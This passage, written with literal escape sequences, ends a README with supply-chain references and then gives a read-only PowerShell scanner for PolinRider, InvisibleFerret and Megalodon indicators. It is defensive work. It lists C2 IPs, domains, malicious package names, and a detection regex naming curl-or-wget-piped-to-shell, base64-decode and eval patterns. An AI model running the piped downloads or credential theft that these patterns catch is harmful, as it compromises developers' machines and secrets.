separately)\n\nA clean scan is good news but not proof of absence. Keep your EDR active and dependencies audited.\n\n## References\n\n- [CISA Alert \u2014 Supply Chain Compromises](https://www.cisa.gov/news-events/alerts/2026/05/28/supply-chain-compromises-impact-nx-console-and-github-repositories)\n- [PolinRider analysis](https://github.com/nicolo-ribaudo/malware-analysis/tree/main/nicolo-ribaudo/2025-06-PolinRider)\n- [Nx Console CVE-2026-48027](https://nvd.nist.gov/vuln/detail/CVE-2026-48027)\n- [Megalodon GitHub Actions campaign](https://socket.dev/blog/megalodon-github-actions-supply-chain-attack)\n\n\n#Requires -Version 5.1\n<#\n.SYNOPSIS\n    Supply Chain Malware Scanner \u2014 Windows edition\n.DESCRIPTION\n    Scans for PolinRider, InvisibleFerret, Megalodon, and compromised npm packages.\n    Read-only: does NOT modify any files or system state.\n    Safe: never prints credential or token values.\n.PARAMETER ScanDirs\n    Directories to scan for source code. Default: common locations under $HOME.\n.PARAMETER Deep\n    Enable slow Event Log checks (Security log network/process events).\n.EXAMPLE\n    .\\Scan-SupplyChain.ps1\n    .\\Scan-SupplyChain.ps1 -Deep\n    .\\Scan-SupplyChain.ps1 -ScanDirs \"C:\\code\", \"D:\\projects\"\n#>\n[CmdletBinding()]\nparam(\n    [string[]]$ScanDirs,\n    [switch]$Deep\n)\n\n$ErrorActionPreference = \"Continue\"\n$Version = \"1.0.0\"\n\n# \u2500\u2500\u2500 Configuration \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n$DefaultScanDirs = @(\n    \"$env:USERPROFILE\\git\",\n    \"$env:USERPROFILE\\projects\",\n    \"$env:USERPROFILE\\dev\",\n    \"$env:USERPROFILE\\code\",\n    \"$env:USERPROFILE\\repos\",\n    \"$env:USERPROFILE\\source\"\n)\n\nif (-not $ScanDirs) { $ScanDirs = $DefaultScanDirs }\n$ResolvedDirs = $ScanDirs | Where-Object { Test-Path $_ }\n\n$MaxDepth = 6\n\n$C2Ips = @(\"166.88.54.158\")\n$C2DomainsRegex = \"trongrid|aptoslabs|bsc-dataseed|bsc-rpc\\.publicnode|api\\.telegram\\.org\"\n$C2VercelRegex = \"default-configuration\\.vercel|vscode-settings-bootstrap\\.vercel|vscode-load-config\\.vercel|260120\\.vercel\"\n$MaliciousPkgsRegex = \"tailwindcss-style-animate|tailwind-mainanimation|tailwind-tionbased|tailwindcss-typography-style|tailwindcss-style-modify|tailwindcss-animate-style\"\n\n$ExcludeDirs = @(\"node_modules\", \".next\", \"dist\", \".git\", \"build\", \".turbo\", \".cache\")\n\n# \u2500\u2500\u2500 State \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n$script:CheckNames = @()\n$script:CheckResults = @()\n$script:Findings = 0\n$script:Current = 0\n$script:TotalChecks = 20\n\n# \u2500\u2500\u2500 Helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction Write-Header($text) {\n    $script:Current++\n    Write-Host \"\"\n    Write-Host \"[$($script:Current)/$($script:TotalChecks)] $text\" -ForegroundColor Cyan\n}\n\nfunction Write-Pass($text)   { Write-Host \"       \u2705 $text\" -ForegroundColor Green }\nfunction Write-Warn($text)   { Write-Host \"       \u26a0\ufe0f  $text\" -ForegroundColor Yellow; $script:Findings++ }\nfunction Write-Fail($text)   { Write-Host \"       \ud83d\udd34 $text\" -ForegroundColor Red; $script:Findings++ }\nfunction Write-Detail($text) { Write-Host \"          $text\" -ForegroundColor DarkGray }\n\nfunction Record($name, $result) {\n    $script:CheckNames += $name\n    $script:CheckResults += $result\n}\n\nfunction Get-SourceFiles {\n    param([string]$Pattern, [string[]]$Include)\n    $results = @()\n    foreach ($dir in $ResolvedDirs) {\n        Get-ChildItem -Path $dir -Recurse -File -Include $Include -ErrorAction SilentlyContinue |\n            Where-Object {\n                $path = $_.FullName\n                -not ($ExcludeDirs | Where-Object { $path -match \"[\\\\/]$_[\\\\/]\" })\n            } |\n            Select-String -Pattern $Pattern -List -ErrorAction SilentlyContinue |\n            ForEach-Object { $results += $_.Path }\n    }\n    return $results\n}\n\n# \u2500\u2500\u2500 Checks \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction Test-LockFile {\n    Write-Header \"Lock file (payload execution marker)\"\n    $lockFile = \"$env:LOCALAPPDATA\\Temp\\tmp7A863DD1.tmp\"\n    if (Test-Path $lockFile) {\n        Write-Fail \"LOCK FILE EXISTS at $lockFile \u2014 payload executed\"\n        Write-Detail (Get-Item $lockFile | Format-List | Out-String)\n        Record \"Lock file\" \"\ud83d\udd34\"\n    } else {\n        Write-Pass \"Not found\"\n        Record \"Lock file\" \"\u2705\"\n    }\n}\n\nfunction Test-CredentialDumps {\n    Write-Header \"Credential dumps (~/.npm staging)\"\n    $npmDir = \"$env:USERPROFILE\\.npm\"\n    $suspicious = @(\"_credentials.json\", \"_sysenv.json\", \"_sysenv.env\", \"_info.json\")\n\n    $found = @()\n    if (Test-Path $npmDir) {\n        $found += Get-ChildItem -Path $npmDir -Recurse -Force -ErrorAction SilentlyContinue |\n            Where-Object { $_.Name -in $suspicious -or $_.Extension -eq \".zip\" }\n    }\n\n    if ($found.Count -gt 0) {\n        Write-Fail \"CREDENTIAL DUMPS FOUND \u2014 $($found.Count) file(s)\"\n        $found | ForEach-Object { Write-Detail \"$($_.FullName) ($($_.Length) bytes, $($_.LastWriteTime))\" }\n        Write-Detail \"DO NOT delete \u2014 forensic evidence\"\n        Record \"Credential dumps\" \"\ud83d\udd34\"\n    } else {\n        Write-Pass \"No suspicious files\"\n        Record \"Credential dumps\" \"\u2705\"\n    }\n}\n\nfunction Test-NetworkC2 {\n    Write-Header \"Active C2 network connections\"\n    $hits = netstat -ano 2>$null | Select-String ($C2Ips -join \"|\")\n    if ($hits) {\n        Write-Fail \"ACTIVE CONNECTION TO C2\"\n        $hits | ForEach-Object { Write-Detail $_.Line }\n        Record \"C2 connections\" \"\ud83d\udd34\"\n    } else {\n        Write-Pass \"No active connections to known C2 IPs\"\n        Record \"C2 connections\" \"\u2705\"\n    }\n}\n\nfunction Test-InvisibleFerret {\n    Write-Header \"InvisibleFerret RAT processes\"\n    $pyProcs = Get-CimInstance Win32_Process -Filter \"Name='python.exe' OR Name='python3.exe'\" -ErrorAction SilentlyContinue |\n        Where-Object { $_.CommandLine -match \"__DAEMONIZED|cat\\.py\" }\n\n    if ($pyProcs) {\n        Write-Fail \"INVISIBLEFERRET PROCESS DETECTED\"\n        $pyProcs | ForEach-Object { Write-Detail \"PID $($_.ProcessId): $($_.CommandLine)\" }\n        Record \"InvisibleFerret\" \"\ud83d\udd34\"\n    } else {\n        Write-Pass \"No InvisibleFerret processes found\"\n        Record \"InvisibleFerret\" \"\u2705\"\n    }\n}\n\nfunction Test-MalwareSignatures {\n    Write-Header \"Known malware signatures in source files\"\n    if ($ResolvedDirs.Count -eq 0) { Write-Pass \"No directories to scan\"; Record \"Malware signatures\" \"\u23ed\ufe0f\"; return }\n\n    $pattern = 'rmcej%otb%|Cot%3t=shtP|_\\$_b229|_\\$_1e42|global\\[.!\\.\\]'\n    $hits = Get-SourceFiles -Pattern $pattern -Include @(\"*.js\", \"*.mjs\", \"*.cjs\", \"*.ts\")\n\n    if ($hits.Count -gt 0) {\n        Write-Fail \"MALWARE SIGNATURES in $($hits.Count) file(s)\"\n        $hits | Select-Object -First 20 | ForEach-Object { Write-Detail $_ }\n        Record \"Malware signatures\" \"\ud83d\udd34\"\n    } else {\n        Write-Pass \"No known signatures found\"\n        Record \"Malware signatures\" \"\u2705\"\n    }\n}\n\nfunction Test-LongConfigLines {\n    Write-Header \"Suspiciously long config lines (>200 chars)\"\n    if ($ResolvedDirs.Count -eq 0) { Write-Pass \"No directories to scan\"; Record \"Long config lines\" \"\u23ed\ufe0f\"; return }\n\n    $configNames = @(\n        \"postcss.config.*\", \"next.config.*\", \"tailwind.config.*\", \"eslint.config.*\",\n        \"babel.config.*\", \"jest.config.*\", \"vite.config.*\", \"tsup.config.*\",\n        \"astro.config.*\", \"webpack.config.*\", \"vue.config.*\", \"App.js\"\n    )\n\n    $found = @()\n    foreach ($dir in $ResolvedDirs) {\n        Get-ChildItem -Path $dir -Recurse -File -Include $configNames -ErrorAction SilentlyContinue |\n            Where-Object {\n                $path = $_.FullName\n                -not ($ExcludeDirs | Where-Object { $path -match \"[\\\\/]$_[\\\\/]\" })\n            } | ForEach-Object {\n                $longest = (Get-Content $_.FullName -ErrorAction SilentlyContinue | ForEach-Object { $_.Length } | Measure-Object -Maximum).Maximum\n                if ($longest -gt 200) {\n                    $found += [PSCustomObject]@{ Path = $_.FullName; Length = $longest }\n                }\n            }\n    }\n\n    if ($found.Count -gt 0) {\n        Write-Warn \"FOUND $($found.Count) config file(s) with suspiciously long lines\"\n        $found | ForEach-Object { Write-Detail \"\u26a0\ufe0f  SUSPICIOUS ($($_.Length) chars): $($_.Path)\" }\n        Write-Detail \"Payload hides after ~1300 trailing spaces \u2014 inspect manually\"\n        Record \"Long config lines\" \"\u26a0\ufe0f\"\n    } else {\n        Write-Pass \"All config files have normal line lengths\"\n        Record \"Long config lines\" \"\u2705\"\n    }\n}\n\nfunction Test-FakeFonts {\n    Write-Header \"Fake font payloads (.woff2 with JS)\"\n    if ($ResolvedDirs.Count -eq 0) { Write-Pass \"No directories to scan\"; Record \"Fake fonts\" \"\u23ed\ufe0f\"; return }\n\n    $found = 0\n    foreach ($dir in $ResolvedDirs) {\n        Get-ChildItem -Path $dir -Recurse -File -Filter \"*.woff2\" -ErrorAction SilentlyContinue |\n            Where-Object {\n                $path = $_.FullName\n                -not ($ExcludeDirs | Where-Object { $path -match \"[\\\\/]$_[\\\\/]\" })\n            } | ForEach-Object {\n                $bytes = [System.IO.File]::ReadAllBytes($_.FullName) | Select-Object -First 100\n                $text = [System.Text.Encoding]::ASCII.GetString($bytes)\n                if ($text -match \"global|function|require|module\\.exports\") {\n                    Write-Warn \"JS payload in font: $($_.FullName)\"\n                    $found++\n                }\n            }\n    }\n\n    if ($found -eq 0) {\n        Write-Pass \"No fake font payloads found\"\n        Record \"Fake fonts\" \"\u2705\"\n    } else {\n        Record \"Fake fonts\" \"\u26a0\ufe0f\"\n    }\n}\n\nfunction Test-MaliciousPackages {\n    Write-Header \"Malicious npm packages in package.json\"\n    if ($ResolvedDirs.Count -eq 0) { Write-Pass \"No directories to scan\"; Record \"Malicious packages\" \"\u23ed\ufe0f\"; return }\n\n    $hits = Get-SourceFiles -Pattern $MaliciousPkgsRegex -Include @(\"package.json\")\n\n    if ($hits.Count -gt 0) {\n        Write-Fail \"MALICIOUS PACKAGES in $($hits.Count) file(s)\"\n        $hits | ForEach-Object { Write-Detail $_ }\n        Record \"Malicious packages\" \"\ud83d\udd34\"\n    } else {\n        Write-Pass \"No known malicious packages\"\n        Record \"Malicious packages\" \"\u2705\"\n    }\n}\n\nfunction Test-VsCodeTasks {\n    Write-Header \"VS Code tasks.json with C2 domains\"\n    if ($ResolvedDirs.Count -eq 0) { Write-Pass \"No directories to scan\"; Record \"tasks.json C2\" \"\u23ed\ufe0f\"; return }\n\n    $hits = Get-SourceFiles -Pattern \"$C2VercelRegex|e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9\" -Include @(\"tasks.json\")\n\n    if ($hits.Count -gt 0) {\n        Write-Fail \"MALICIOUS tasks.json FOUND\"\n        $hits | ForEach-Object { Write-Detail $_ }\n        Record \"tasks.json C2\" \"\ud83d\udd34\"\n    } else {\n        Write-Pass \"No malicious tasks.json\"\n        Record \"tasks.json C2\" \"\u2705\"\n    }\n}\n\nfunction Test-SolanaC2 {\n    Write-Header \"Solana/blockchain C2 patterns in source\"\n    if ($ResolvedDirs.Count -eq 0) { Write-Pass \"No directories to scan\"; Record \"Blockchain C2\" \"\u23ed\ufe0f\"; return }\n\n    $hits = Get-SourceFiles -Pattern \"@solana/web3|trongrid|wallet.*memo\" -Include @(\"*.js\", \"*.mjs\", \"*.cjs\", \"*.ts\")\n\n    if ($hits.Count -gt 0) {\n        Write-Warn \"BLOCKCHAIN REFERENCES in $($hits.Count) file(s) \u2014 verify if legitimate\"\n        $hits | Select-Object -First 10 | ForEach-Object { Write-Detail $_ }\n        Record \"Blockchain C2\" \"\u26a0\ufe0f\"\n    } else {\n        Write-Pass \"No blockchain C2 patterns\"\n        Record \"Blockchain C2\" \"\u2705\"\n    }\n}\n\nfunction Test-AxiosCompromised {\n    Write-Header \"Compromised axios versions\"\n    if ($ResolvedDirs.Count -eq 0) { Write-Pass \"No directories to scan\"; Record \"Axios versions\" \"\u23ed\ufe0f\"; return }\n\n    $hits = Get-SourceFiles -Pattern '\"axios\":\\s*\"(1\\.14\\.1|0\\.30\\.4)\"|axios@(1\\.14\\.1|0\\.30\\.4)' `\n        -Include @(\"package.json\", \"pnpm-lock.yaml\", \"package-lock.json\", \"yarn.lock\")\n\n    if ($hits.Count -gt 0) {\n        Write-Fail \"COMPROMISED AXIOS VERSION\"\n        $hits | ForEach-Object { Write-Detail $_ }\n        Record \"Axios versions\" \"\ud83d\udd34\"\n    } else {\n        Write-Pass \"No compromised axios versions\"\n        Record \"Axios versions\" \"\u2705\"\n    }\n}\n\nfunction Test-NxConsole {\n    Write-Header \"Nx Console extension (CVE-2026-48027)\"\n    $exts = \"\"\n    try { $exts = & code --list-extensions --show-versions 2>$null } catch {}\n    if (-not $exts) { try { $exts = & cursor --list-extensions --show-versions 2>$null } catch {} }\n\n    if ($exts -match \"nrwl|nx-console\") {\n        $match = ($exts | Select-String \"nrwl|nx-console\" | Select-Object -First 1).Line\n        if ($match -match \"18\\.95\\.0\") {\n            Write-Fail \"COMPROMISED Nx Console v18.95.0 \u2014 update to 18.100.0+\"\n            Record \"Nx Console\" \"\ud83d\udd34\"\n        } else {\n            Write-Pass \"Nx Console installed, version safe: $match\"\n            Record \"Nx Console\" \"\u2705\"\n        }\n    } else {\n        Write-Pass \"Nx Console not installed\"\n        Record \"Nx Console\" \"\u2705\"\n    }\n}\n\nfunction Test-PostinstallScripts {\n    Write-Header \"Suspicious postinstall/preinstall scripts\"\n    if ($ResolvedDirs.Count -eq 0) { Write-Pass \"No directories to scan\"; Record \"postinstall\" \"\u23ed\ufe0f\"; return }\n\n    $safePatterns = @(\"prisma\", \"patch-package\", \"husky\", \"ngcc\", \"electron-rebuild\",\n        \"node-gyp\", \"esbuild\", \"tsc \", \"tsx \", \"npx prisma\", \"playwright\", \"puppeteer\",\n        \"opencollective\", \"is-ci\", \"npm run build\", \"pnpm run build\", \"yarn build\",\n        \"expo-configure\", \"pod-install\")\n\n    $found = 0\n    foreach ($dir in $ResolvedDirs) {\n        Get-ChildItem -Path $dir -Recurse -Depth 4 -File -Filter \"package.json\" -ErrorAction SilentlyContinue |\n            Where-Object { $_.FullName -notmatch \"[\\\\/]node_modules[\\\\/]\" } |\n            ForEach-Object {\n                try {\n                    $pkg = Get-Content $_.FullName -Raw | ConvertFrom-Json\n                    foreach ($key in @(\"postinstall\", \"preinstall\")) {\n                        $script = $pkg.scripts.$key\n                        if ($script) {\n                            $isSafe = $safePatterns | Where-Object { $script -match [regex]::Escape($_) }\n                            if (-not $isSafe) {\n                                Write-Warn \"REVIEW: $($_.FullName)\"\n                                Write-Detail \"${key}: $script\"\n                                $found++\n                            }\n                        }\n                    }\n                } catch {}\n            }\n    }\n\n    if ($found -eq 0) {\n        Write-Pass \"No suspicious install scripts\"\n        Record \"postinstall\" \"\u2705\"\n    } else {\n        Record \"postinstall\" \"\u26a0\ufe0f\"\n    }\n}\n\nfunction Test-PropagationArtifacts {\n    Write-Header \"Propagation artifacts (.bat files)\"\n    if ($ResolvedDirs.Count -eq 0) { Write-Pass \"No directories to scan\"; Record \"Propagation\" \"\u23ed\ufe0f\"; return }\n\n    $found = 0\n    foreach ($dir in $ResolvedDirs) {\n        Get-ChildItem -Path $dir -Recurse -File -ErrorAction SilentlyContinue |\n            Where-Object { $_.Name -in @(\"temp_auto_push.bat\", \"config.bat\") -and $_.FullName -notmatch \"[\\\\/]node_modules[\\\\/]\" } |\n            ForEach-Object {\n                Write-Warn \"Propagation artifact: $($_.FullName)\"\n                $found++\n            }\n    }\n\n    if ($found -eq 0) {\n        Write-Pass \"No propagation artifacts\"\n        Record \"Propagation\" \"\u2705\"\n    } else {\n        Record \"Propagation\" \"\u26a0\ufe0f\"\n    }\n}\n\nfunction Test-MegalodonActions {\n    Write-Header \"Megalodon GitHub Actions injection\"\n    if ($ResolvedDirs.Count -eq 0) { Write-Pass \"No directories to scan\"; Record \"GH Actions\" \"\u23ed\ufe0f\"; return }\n\n    $found = 0\n    foreach ($dir in $ResolvedDirs) {\n        Get-ChildItem -Path $dir -Recurse -File -Include @(\"*.yml\", \"*.yaml\") -ErrorAction SilentlyContinue |\n            Where-Object { $_.FullName -match \"\\.github[\\\\/]workflows\" } |\n            ForEach-Object {\n                $content = Get-Content $_.FullName -Raw -ErrorAction SilentlyContinue\n                if ($content -match 'curl\\s.*\\|\\s*(sh|bash)|wget\\s.*\\|\\s*(sh|bash)|base64\\s+(-d|--decode)\\s*\\||\\beval\\s+\\$\\(') {\n                    Write-Warn \"Suspicious pattern in: $($_.FullName)\"\n                    $found++\n                }\n            }\n    }\n\n    if ($found -eq 0) {\n        Write-Pass \"No suspicious Actions patterns\"\n        Record \"GH Actions\" \"\u2705\"\n    } else {\n        Record \"GH Actions\" \"\u26a0\ufe0f\"\n    }\n}\n\nfunction Test-GitHooks {\n    Write-Header \"Git hooks integrity\"\n    $found = 0\n\n    $hooksPath = git config --global core.hooksPath 2>$null\n    if ($hooksPath) {\n        Write-Warn \"Global hooks path: $hooksPath\"\n        $found++\n    } else {\n        Write-Pass \"No global hooksPath override\"\n    }\n\n    if ($found -eq 0) { Record \"Git hooks\" \"\u2705\" } else { Record \"Git hooks\" \"\u26a0\ufe0f\" }\n}\n\nfunction Test-NpmrcTokens {\n    Write-Header \"npm auth tokens (.npmrc)\"\n    $npmrc = \"$env:USERPROFILE\\.npmrc\"\n    if (Test-Path $npmrc) {\n        $tokenLines = (Get-Content $npmrc | Select-String \"authToken|_auth|_password\").Count\n        if ($tokenLines -gt 0) {\n            Write-Warn \".npmrc contains $tokenLines line(s) with auth tokens\"\n            Write-Detail \"If compromised, rotate these tokens immediately\"\n            Write-Detail \"Token values intentionally hidden \u2014 inspect manually\"\n            Record \".npmrc tokens\" \"\u26a0\ufe0f\"\n        } else {\n            Write-Pass \".npmrc exists but no auth tokens\"\n            Record \".npmrc tokens\" \"\u2705\"\n        }\n    } else {\n        Write-Pass \"No .npmrc file\"\n        Record \".npmrc tokens\" \"\u2705\"\n    }\n}\n\nfunction Test-GlobalPackages {\n    Write-Header \"Global packages\"\n    Write-Detail \"npm global:\"\n    npm ls -g --depth=0 2>$null | Select-Object -Skip 1 | ForEach-Object { Write-Detail \"  $_\" }\n\n    if (Get-Command pnpm -ErrorAction SilentlyContinue) {\n        Write-Detail \"pnpm global:\"\n        pnpm ls -g 2>$null | Select-Object -Skip 1 | ForEach-Object { Write-Detail \"  $_\" }\n    }\n\n    Write-Pass \"Review lists above for unfamiliar packages\"\n    Record \"Global packages\" \"\ud83d\udc40\"\n}\n\nfunction Test-Extensions {\n    Write-Header \"Editor extensions\"\n    $exts = @()\n    try { $exts = & code --list-extensions 2>$null } catch {}\n    if (-not $exts) { try { $exts = & cursor --list-extensions 2>$null } catch {} }\n\n    if ($exts) {\n        $exts | ForEach-Object { Write-Detail $_ }\n        Write-Pass \"Review for unfamiliar extensions\"\n    } else {\n        Write-Pass \"No editor extensions found (or CLI not available)\"\n    }\n    Record \"Extensions\" \"\ud83d\udc40\"\n}\n\nfunction Test-Persistence {\n    Write-Header \"Persistence mechanisms\"\n\n    Write-Detail \"Scheduled tasks (non-Microsoft):\"\n    Get-ScheduledTask -ErrorAction SilentlyContinue |\n        Where-Object { $_.Author -notmatch \"Microsoft|Windows\" -and $_.State -ne \"Disabled\" } |\n        Select-Object -First 20 |\n        ForEach-Object { Write-Detail \"  $($_.TaskName) \u2014 $($_.Author)\" }\n\n    Write-Detail \"Suspicious processes:\"\n    Get-CimInstance Win32_Process -ErrorAction SilentlyContinue |\n        Where-Object { $_.Name -match \"node|npm|npx|python\" -and $_.Name -notmatch \"Code|Electron|cursor\" } |\n        ForEach-Object { Write-Detail \"  PID $($_.ProcessId): $($_.CommandLine)\" }\n\n    Write-Detail \"DNS cache (C2 domains):\"\n    $dnsHits = ipconfig /displaydns 2>$null | Select-String \"$C2DomainsRegex|166\\.88\\.54|260120\\.vercel|default-configuration\\.vercel\"\n    if ($dnsHits) {\n        $dnsHits | ForEach-Object { Write-Warn \"DNS cache hit: $($_.Line.Trim())\" }\n    } else {\n        Write-Detail \"  No C2 domains in DNS cache\"\n    }\n\n    Write-Pass \"Review items above\"\n    Record \"Persistence\" \"\ud83d\udc40\"\n}\n\n# \u2500\u2500\u2500 Deep checks (Windows Event Log) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction Test-EventLogNetwork {\n    $script:TotalChecks++\n    Write-Header \"Security Event Log \u2014 C2 network events (last 7 days)\"\n    Write-Detail \"This may take a while...\"\n\n    try {\n        $events = Get-WinEvent -FilterHashtable @{\n            LogName = 'Security'; Id = 5156; StartTime = (Get-Date).AddDays(-7)\n        } -MaxEvents 10000 -ErrorAction SilentlyContinue |\n            Where-Object { $_.Message -match \"node|npm|python\" } |\n            Where-Object { $_.Message -match \"166\\.88\\.54|trongrid|aptoslabs|telegram\" }\n\n        if ($events) {\n            Write-Fail \"FOUND $($events.Count) C2 network events\"\n            $events | Select-Object -First 10 | ForEach-Object {\n                Write-Detail \"$($_.TimeCreated): $($_.Message | Select-Object -First 1)\"\n            }\n            Record \"Event Log (network)\" \"\ud83d\udd34\"\n        } else {\n            Write-Pass \"No C2 network events\"\n            Record \"Event Log (network)\" \"\u2705\"\n        }\n    } catch {\n        Write-Detail \"Could not read Security log (requires Admin)\"\n        Record \"Event Log (network)\" \"\u23ed\ufe0f\"\n    }\n}\n\nfunction Test-EventLogProcess {\n    $script:TotalChecks++\n    Write-Header \"Security Event Log \u2014 suspicious process creation (last 7 days)\"\n\n    try {\n        $events = Get-WinEvent -FilterHashtable @{\n            LogName = 'Security'; Id = 4688; StartTime = (Get-Date).AddDays(-7)\n        } -MaxEvents 10000 -ErrorAction SilentlyContinue |\n            Where-Object { $_.Message -match \"taskkill|wmic useraccount|tmp7A863DD1\" }\n\n        if ($events) {\n            Write-Fail \"SUSPICIOUS PROCESS CREATION EVENTS\"\n            $events | Select-Object -First 10 | ForEach-Object {\n                Write-Detail \"$($_.TimeCreated): $($_.Message | Select-Object -First 1)\"\n            }\n            Record \"Event Log (process)\" \"\ud83d\udd34\"\n        } else {\n            Write-Pass \"No suspicious process events\"\n            Record \"Event Log (process)\" \"\u2705\"\n        }\n    } catch {\n        Write-Detail \"Could not read Security log (requires Admin)\"\n        Record \"Event Log (process)\" \"\u23ed\ufe0f\"\n    }\n}\n\n# \u2500\u2500\u2500 Summary \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction Show-Summary {\n    Write-Host \"\"\n    Write-Host \"\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\" -ForegroundColor White\n    Write-Host \" SUMMARY\" -ForegroundColor White\n    Write-Host \"\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\" -ForegroundColor White\n    Write-Host \"\"\n\n    for ($i = 0; $i -lt $script:CheckNames.Count; $i++) {\n        $num = ($i + 1).ToString().PadLeft(3)\n        $name = $script:CheckNames[$i].PadRight(35)\n        Write-Host \" $num  $name $($script:CheckResults[$i])\"\n    }\n\n    Write-Host \"\"\n\n    if ($script:Findings -gt 0) {\n        Write-Host \"\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\" -ForegroundColor Red\n        Write-Host \" $($script:Findings) FINDING(S) \u2014 review the details above\" -ForegroundColor Red\n        Write-Host \"\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\" -ForegroundColor Red\n        Write-Host \"\"\n        Write-Host \" \ud83d\udd34 = confirmed compromise indicator. Stop all work, rotate secrets.\"\n        Write-Host \" \u26a0\ufe0f  = suspicious, needs manual verification.\"\n        Write-Host \" \ud83d\udc40 = informational, review for anything unexpected.\"\n        Write-Host \"\"\n        Write-Host \" If you see \ud83d\udd34 findings:\" -ForegroundColor Red\n        Write-Host \"   1. DO NOT push to any repository\"\n        Write-Host \"   2. DO NOT delete evidence files\"\n        Write-Host \"   3. Report to your security lead with this output\"\n        Write-Host \"   4. Rotate ALL secrets (npm tokens, SSH keys, API keys, .env values)\"\n    } else {\n        Write-Host \"\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\" -ForegroundColor Green\n        Write-Host \" ALL CLEAR \u2014 no compromise indicators found\" -ForegroundColor Green\n        Write-Host 